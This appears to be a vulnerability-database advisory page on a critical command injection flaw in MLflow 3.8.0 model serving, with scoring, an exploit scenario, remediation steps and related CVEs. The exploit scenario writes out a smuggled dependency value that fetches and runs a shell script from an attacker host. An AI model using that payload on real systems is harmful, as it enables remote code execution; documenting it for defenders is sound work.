Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents critical real-world risk with multiple converging threat signals. The CVSS 10.0 score accurately reflects maximum severity across all dimensions: network attack vector (AV:N) means exploitation over standard network connections without physical or local access; low complexity (AC:L) requires no special conditions; no privileges required (PR:N) means unauthenticated attackers can exploit; no user interaction (UI:N) enables fully automated attacks; scope change (S:C) indicates compromise beyond the vulnerable component; and complete confidentiality, integrity, and availability impact (C:H/I:H/A:H). Public exploit code exists as evidenced by the Huntr bounty submission and GitHub commit fix, significantly lowering the barrier to exploitation. While not listed in CISA KEV (suggesting no confirmed widespread active exploitation yet), the technical simplicity and public disclosure create imminent weaponization risk. The SSVC decision framework signals high priority: exploitation is publicly demonstrated (POC status), the vulnerability is automatable given network accessibility and no authentication requirements, and technical impact is total system compromise. Organizations using MLflow model serving in production environments face immediate risk, particularly those accepting model artifacts from external or untrusted sources. The fix availability in version 3.8.2 (released concurrently with disclosure) indicates responsible disclosure, but the narrow affected version range (only 3.8.0) suggests recent introduction, meaning rapid patching is achievable for most deployments. |
| Exploit ScenarioDerived | An attacker crafts a malicious MLflow model artifact containing a weaponized python_env.yaml file with injected shell commands embedded in dependency specifications, such as a package name of 'requests; curl attacker.com/shell.sh | bash; #'. When a victim organization deploys this model with env_manager=LOCAL, MLflow's _install_model_dependencies_to_env() function constructs and executes a shell command that installs the legitimate 'requests' package but also downloads and executes the attacker's remote shell script. Since the vulnerability requires no authentication (PR:N) and is network-accessible (AV:N), attackers can target public-facing MLflow instances or distribute malicious model artifacts through ML model repositories, shared notebooks, or supply chain compromise. The attacker gains complete system access with the privileges of the MLflow serving process, enabling data exfiltration from ML training datasets, model theft, lateral movement to connected data infrastructure, or deployment of persistent backdoors. Publicly available exploit code exists, making this attack scenario immediately executable by adversaries. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Critical command injection in MLflow 3.8.0 enables remote code execution during model deployment when attackers supply malicious artifacts via the env_manager=LOCAL parameter. The _install_model_dependencies_to_env() function unsafely interpolates dependency specifications from python_env.yaml directly into shell commands without sanitization. With CVSS 10.0 (network-accessible, no authentication, no complexity) and publicly available exploit code exists (reported via Huntr bug bounty, patched in 3.8.2), this represents an immediate critical risk for organizations using MLflow model serving infrastructure. EPSS data not available, but exploitation scenario is straightforward for adversaries with model deployment access.
RemediationAI
Organizations must immediately upgrade MLflow to version 3.8.2 or later, which contains the complete fix for the command injection vulnerability as documented in commit 361b6f620adf98385c6721e384fb5ef9a30bb05e. The upstream fix available via the GitHub repository implements proper input sanitization in the _install_model_dependencies_to_env() function. For environments where immediate patching is not feasible, implement compensating controls including restricting model deployment permissions to trusted users only, implementing strict validation on model artifacts before deployment, avoiding the env_manager=LOCAL parameter if alternative environment managers are viable, and deploying models in isolated sandboxed containers with minimal privileges. Network segmentation should isolate MLflow model serving infrastructure from untrusted networks. Monitor MLflow deployment logs for suspicious dependency installation patterns or shell metacharacters in python_env.yaml files. Review all model artifacts deployed during the 3.8.0 version window for potential compromise indicators. Complete vendor advisory and technical details available at https://huntr.com/bounties/dc9c1c20-7879-4050-87df-4d095fe5ca75 with patch implementation at https://github.com/mlflow/mlflow/commit/361b6f620adf98385c6721e384fb5ef9a30bb05e.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
MLflow is an open-source machine learning lifecycle platform that manages model deployment, serving, and dependency management. The vulnerability resides in the environment manager subsystem that handles Python dependency installation. When env_manager=LOCAL is specified during model deployment, MLflow parses the python_env.yaml file from model artifacts to determine required dependencies. The vulnerable function constructs shell commands by directly concatenating user-controlled dependency strings without input validation or command sanitization. This represents CWE-77 (Command Injection), a critical flaw class where externally-influenced input modifies the intended command string. The affected product MLflow version 3.8.0 uses Python's subprocess or shell invocation mechanisms that interpret special characters and command separators (semicolons, pipes, backticks), allowing attackers to inject arbitrary commands. Model artifacts in MLflow are typically stored as directories containing metadata files, making the python_env.yaml file a trusted input surface that was incorrectly assumed safe.
Know when Mlflow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the _install_model_dependencies_to_env() function. When deploying a model with env_manager=LOCAL, MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.
Blast Radius
ecosystem impact- 2 pypi packages depend on mlflow (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.8.1.
Executive ViewAI
MLflow versions 3.8.0 and 3.8.1 contain a critical command injection vulnerability in model deployment that allows unauthenticated remote code execution with a CVSS score of 10.0. Organizations using MLflow for model serving are at immediate risk of complete infrastructure compromise, as attackers can execute arbitrary commands by uploading malicious model artifacts during deployment. This requires immediate isolation and upgrade action.
If upgrade to 3.8.2 cannot be completed within 7 days: (1) Disable the env_manager=LOCAL parameter across all model serving configurations and restrict to env_manager=VIRTUALENV or env_manager=CONDA only; (2) Implement network segmentation to restrict model deployment API access to trusted internal networks only; (3) Enable comprehensive logging and real-time monitoring of all model artifact uploads and deployment operations; (4) Require manual code review and cryptographic signing of all python_env.yaml specifications before deployment. These controls reduce but do not eliminate risk-vendor patch application is mandatory.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Server-side request forgery in MLflow before 3.15.0 lets remote unauthenticated attackers coerce the server into making
A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. Rated high severity (CVSS 7.5), this vulnerabilit
Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0. Rated critical severity (CVSS 10.0), this vul
Unauthenticated remote code execution in MLflow 3.12.0rc0 through 3.16.x lets any network caller reach the tracking serv
MLflow's FastAPI job endpoints bypass basic-auth entirely, allowing network attackers to submit and execute jobs without
A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models
A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it cou
An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirment. Rated critical s
An attacker can overwrite any file on the server hosting MLflow without any authentication. Rated critical severity (CVS
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1. Rated critical severity (CVSS 9.8), th
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.2.1. Rated critical severity (CVSS 9.8), th
Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. Rated critical se
EUVD-2025-209121
GHSA-r23q-823p-vmf7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB